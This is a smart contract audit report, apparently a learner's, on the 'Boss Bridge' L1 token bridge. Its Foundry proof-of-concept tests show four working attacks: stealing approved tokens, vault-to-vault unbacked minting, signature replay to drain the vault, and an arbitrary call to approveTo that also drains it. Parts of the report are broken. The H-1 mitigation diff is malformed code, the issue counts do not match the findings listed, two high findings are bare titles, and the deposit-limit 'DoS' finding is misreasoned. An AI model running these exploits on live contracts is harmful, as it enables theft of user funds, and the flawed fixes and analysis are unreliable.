Protocol Audit Report

Figure 1: Logo

Prepared by: Bug Pirate

Table of Contents

- High
- Medium
- Low
- Informational
- Gas

Disclaimer

The Bug Pirate makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

`07af21653ab3e8a8362bf5f63eb058047f562375`

Scope

```
#-- src
|   #-- L1BossBridge.sol
|   #-- L1Token.sol
|   #-- L1Vault.sol
|   #-- TokenFactory.sol
```

Protocol Summary

The Boss Bridge is a bridging mechanism to move an ERC20 token (the "Boss Bridge Token" or "BBT") from L1 to an L2 the development team claims to be building. Because the L2 part of the bridge is under construction, it was not included in the reviewed codebase.

The bridge is intended to allow users to deposit tokens, which are to be held in a vault contract on L1. Successful deposits should trigger an event that an off-chain mechanism is in charge of detecting to mint the corresponding tokens on the L2 side of the bridge.

Withdrawals must be approved operators (or "signers"). Essentially they are expected to be one or more off-chain services where users request withdrawals, and that should verify requests before signing the data users must use to withdraw their tokens. It's worth highlighting that there's little-to-no on-chain mechanism to verify withdrawals, other than the operator's signature. So the Boss Bridge heavily relies on having robust, reliable and always available operators to approve withdrawals. Any rogue operator or compromised signing key may put at risk the entire protocol.

Roles

- Bridge owner: can pause and unpause withdrawals in the `L1BossBridge` contract. Also, can add and remove operators. Rogue owners or compromised keys may put at risk all bridge funds.
- User: Accounts that hold BBT tokens and use the `L1BossBridge` contract to deposit and withdraw them.
- Operator: Accounts approved by the bridge owner that can sign withdrawal operations. Rogue operators or compromised keys may put at risk all bridge funds.

Executive Summary

Issues found

Severity	Number of issues found
High	8
Medium	0
Low	7
Info	0
Gas	0
Total	15

Findings

High

[H-1] users who give Token approval to the L1BossBridge may have their asserts stolen

Description The `L1BossBridge::depositTokensToL2` function allows anyone to call a `from` address of any acoount that has approved tokens to the bridge. As a result, an attacker can move tokens out of any victims account whose token allowence is greater than zero. This will move the token to the bridge vault and assign the token to the attackers address in the L2, giving the attacker-contrilled address in the parameter(l2Recipient).

Impact Attacker can move tokens out of any victims account, his will move the token to the bridge vault and assign the token to the attackers address in the L2, giving the attacker-contrilled address.

Proof Of Concept 1. Uer enters 2. User deposits an amount 3. Attacker enters 4. attackers emits the deposit 5. attacker calls depositTokenToL2 and replace the receipit addres with his.

POC

```
function test__attackerStealsvictimsAsserts() public {

        vm.prank(user);
        token.approve(address(tokenBridge), type(uint256).max);

        uint256 depositAmount = token.balanceOf(user);

        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(user, attackerInL2, depositAmount);
        tokenBridge.depositTokensToL2(user, attackerInL2, depositAmount);

        assertEq(token.balanceOf(user), 0);
        assertEq(token.balanceOf(address(vault)), depositAmount);
        vm.stopPrank();
    }
```

Recommended Mitigation Consider modifying the `depositTokenToL2` function so that the caller cannot specify a `from` address.

```
- function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whe
+    function depositTokensToL2(address from, address l2Recipient, uint256 amount) external

        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
```

```
        }

+         token.safeTransferFrommsg.sender, (address(vault), amount);
-        token.safeTransferFrom(from, address(vault), amount);

        // Our off-chain service picks up this event and mints the corresponding tokens on L
+          emit Deposit(msg.sender, l2Recipient, amount);
-        emit Deposit(from, l2Recipient, amount);

    }
```

[H-2] Calling `depositTokenToL2` from the Vault contract to the vault allows infinite minting of unbacked tokens.

Description The deposit function allows the caller to specify the from address, from which the token are taken. Because the vault granst infinite approvals to the bridge aready(as can be seen in the contracts constructor), its possible for an attacker to call the depositTokenToL2 from the vault to the vault itself.

ImpactThis will allow attackers to trigger deposit event any number of times, presuming cauing the minting of unbacked tokens in L2. They could mint all the Tokens to themselves.

Proof Of Concept As a POC include the following test in `L1TokenBridge.t.sol` file

POC

```
function test_cantransferFromVaultToVault() public {
        vm.startPrank(attacker);

        //assume the vault already holds some token

        uint256 vaultBalance = 500 ether;
        deal(address(token), address(vault), vaultBalance);

        // can trigger the `Deposit` event self-transfering tokens in the vault
        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), address(vault), vaultBalance);
        tokenBridge.depositTokensToL2(address(vault), address(vault), vaultBalance);

        //Any number of times

        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), address(vault), vaultBalance);
       tokenBridge.depositTokensToL2(address(vault), address(vault), vaultBalance);

       vm.stopPrank();
```

```
}
```

Recommended Mitigation As mention in H-1, consider modifying the `depositTokenToL2` function so the caller cannot specify a `from` address.

[H-3] Lack of replay protection in `withdrawTokensToL1` allows withdrawal by signature to be replayed.

Description User who want to withdraw token from the briddge can call `sendToL1` function or the wrapper `withdrawTokenToL1` function. These function require the caller to send along some withdrawal data signed by on of the approved briage operators.

However, the signature does not include any kind of replay protection mechanism (e.g nonce, time.stamp). THerefore, valid signature from any bridge operator can be reused by any attacker to continue executing withdrawal unitil the vault is completely drained.

Impact The Vault will be conpletely out of tokens as an attacker will continusly excute withdrawals.

Proof Of Concept As a POc,include the following test in the `L1TokenBridge.t.sol` file :

POC

```
function testCanReplayWithdrawals() public {
        // Assume the vault already holds some tokens
        uint256 vaultInitialBalance = 1000e18;
        uint256 attackerInitialBalance = 100e18;
        deal(address(token), address(vault), vaultInitialBalance);
        deal(address(token), address(attacker), attackerInitialBalance);

        // An attacker deposits tokens to L2
        vm.startPrank(attacker);
        token.approve(address(tokenBridge), type(uint256).max);
        tokenBridge.depositTokensToL2(
            attacker,
            attackerInL2,
            attackerInitialBalance
        );

        // Operator signs withdrawal.
        (uint8 v, bytes32 r, bytes32 s) = _signMessage(
            _getTokenWithdrawalMessage(attacker, attackerInitialBalance),
            operator.key
        );
```

```
        // The attacker can reuse the signature and drain the vault.
        while (token.balanceOf(address(vault)) > 0) {
            tokenBridge.withdrawTokensToL1(
                attacker,
                attackerInitialBalance,
                v,
                r,
                s
            );
        }
        assertEq(
            token.balanceOf(address(attacker)),
            attackerInitialBalance + vaultInitialBalance
        );
        assertEq(token.balanceOf(address(vault)), 0);
    }
```

Recommended Mitigation The `withdrawTokenToL1` function should be reconstructed to include replay check mechanism.

[H-4] `L1BossBridge::sendToL1` function allows abituary calls, allowing users to call `L1Vault::approveTo`, minting themselves infinite Tokens.

DescriptionThe L1BossBridge contract includes the sendToL1 function that, if called with a valid signature by an operator, can execute arbitrary low-level calls to any given target. Because there's no restrictions neither on the target nor the calldata, this call could be used by an attacker to execute sensitive contracts of the bridge. For example, the L1Vault contract.

The L1BossBridge contract owns the L1Vault contract. Therefore, an attacker could submit a call that targets the vault and executes is approveTo function, passing an attacker-controlled address to increase its allowance. This would then allow the attacker to completely drain the vault.

It's worth noting that this attack's likelihood depends on the level of sophistication of the off-chain validations implemented by the operators that approve and sign withdrawals. However, we're rating it as a High severity issue because, according to the available documentation, the only validation made by off-chain services is that "the account submitting the withdrawal has first originated a successful deposit in the L1 part of the bridge". As the next PoC shows, such validation is not enough to prevent the attack. **Impact Proof Of Concept**

POC

```
function testCanCallVaultApproveFromBridgeAndDrainVault() public {
    uint256 vaultInitialBalance = 1000e18;
    deal(address(token), address(vault), vaultInitialBalance);
```

```
        // An attacker deposits tokens to L2. We do this under the assumption that the
        // bridge operator needs to see a valid deposit tx to then allow us to request a withdr
        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(attacker), address(0), 0);
        tokenBridge.depositTokensToL2(attacker, address(0), 0);

        // Under the assumption that the bridge operator doesn't validate bytes being signed
        bytes memory message = abi.encode(
            address(vault), // target
            0, // value
            abi.encodeCall(L1Vault.approveTo, (address(attacker), type(uint256).max)) // data
        );
        (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.key);

        tokenBridge.sendToL1(v, r, s, message);
        assertEq(token.allowance(address(vault), attacker), type(uint256).max);
        token.transferFrom(address(vault), attacker, token.balanceOf(address(vault)));
    }
```

Recommended Mitigation Consider disallowing attacker-controlled external calls to sensitive components of the bridge, such as the L1Vault contract.

[H-5] create OP doesnt work zksync era

[H-6] `L1BossBridge::depositTokensToL2`'s `DEPOSIT_LIMIT` check allows contract to be DoS'd

DescriptionIn `L1BossBridge::depositTokensToL2`, users are given a `DEPOSIT_LIMIT` which restrict how much i user can deposit. This causes DOS as a user can not deposit more than they want and have to stick with the `DEPOSIT_LIMIT`.

[H-7] The `L1BossBridge::withdrawTokensToL1` function has no validation on the withdrawal amount being the same as the deposited amount in `L1BossBridge::depositTokensToL2`, allowing attacker to withdraw more funds than deposited.

LOW

[L-1]: Unsafe ERC20 Operations should not be used

ERC20 functions may not behave as expected. For example: return values are not always meaningful. It is recommended to use OpenZeppelin's SafeERC20 library.

2 Found Instances

- Found in src/L1BossBridge.sol Line: 99

```
abi.encodeCall(IERC20.transferFrom, (address(vault), to, amount))
```

- Found in src/L1Vault.sol Line: 20

```
token.approve(target, amount);
```

[L-2]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

1 Found Instances

- Found in src/L1Vault.sol Line: 16

```
token = _token;
```

[L-3:] `public` functions not used internally could be marked `external`

Instead of marking a function as `public`, consider marking it as `external` if it is not used internally.

2 Found Instances

- Found in src/TokenFactory.sol Line: 23

```
function deployToken(string memory symbol, bytes memory contractBytecode) public on
```

- Found in src/TokenFactory.sol Line: 31

```
function getTokenAddressFromSymbol(string memory symbol) public view returns (addre
```

[L-4:] Event is missing `indexed` fields

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

2 Found Instances

- Found in src/L1BossBridge.sol Line: 40

```
event Deposit(address from, address to, uint256 amount);
```

- Found in src/TokenFactory.sol Line: 14

```
event TokenDeployed(string symbol, address addr);
```

[L-5:] PUSH0 is not supported by all chains

Solc compiler version 0.8.20 switches the default target EVM version to Shanghai, which means that the generated bytecode will include PUSH0 opcodes. Be sure to select the appropriate EVM version in case you intend to deploy on a chain other than mainnet like L2 chains that may not support PUSH0, otherwise deployment of your contracts will fail.

4 Found Instances

- Found in src/L1BossBridge.sol Line: 15

  `pragma solidity 0.8.20;`

- Found in src/L1Token.sol Line: 2

  `pragma solidity 0.8.20;`

- Found in src/L1Vault.sol Line: 2

  `pragma solidity 0.8.20;`

- Found in src/TokenFactory.sol Line: 2

  `pragma solidity 0.8.20;`

[L-6:] State variable could be declared constant

State variables that are not updated following deployment should be declared constant to save gas. Add the `constant` attribute to state variables that never change.

1 Found Instances

- Found in src/L1BossBridge.sol Line: 30

  ```
  uint256 public DEPOSIT_LIMIT = 100_000 ether;
  ```

[L-7:] State variable changes but no event is emitted.

State variable changes in this function but no event is emitted.

1 Found Instances

- Found in src/L1BossBridge.sol Line: 57

  ```
  function setSigner(address account, bool enabled) external onlyOwner {
  ```

[L-8:] State variable could be declared immutable

State variables that are should be declared immutable to save gas. Add the `immutable` attribute to state variables that are only changed in the constructor

1 Found Instances

- Found in src/L1Vault.sol Line: 13

```
IERC20 public token;
```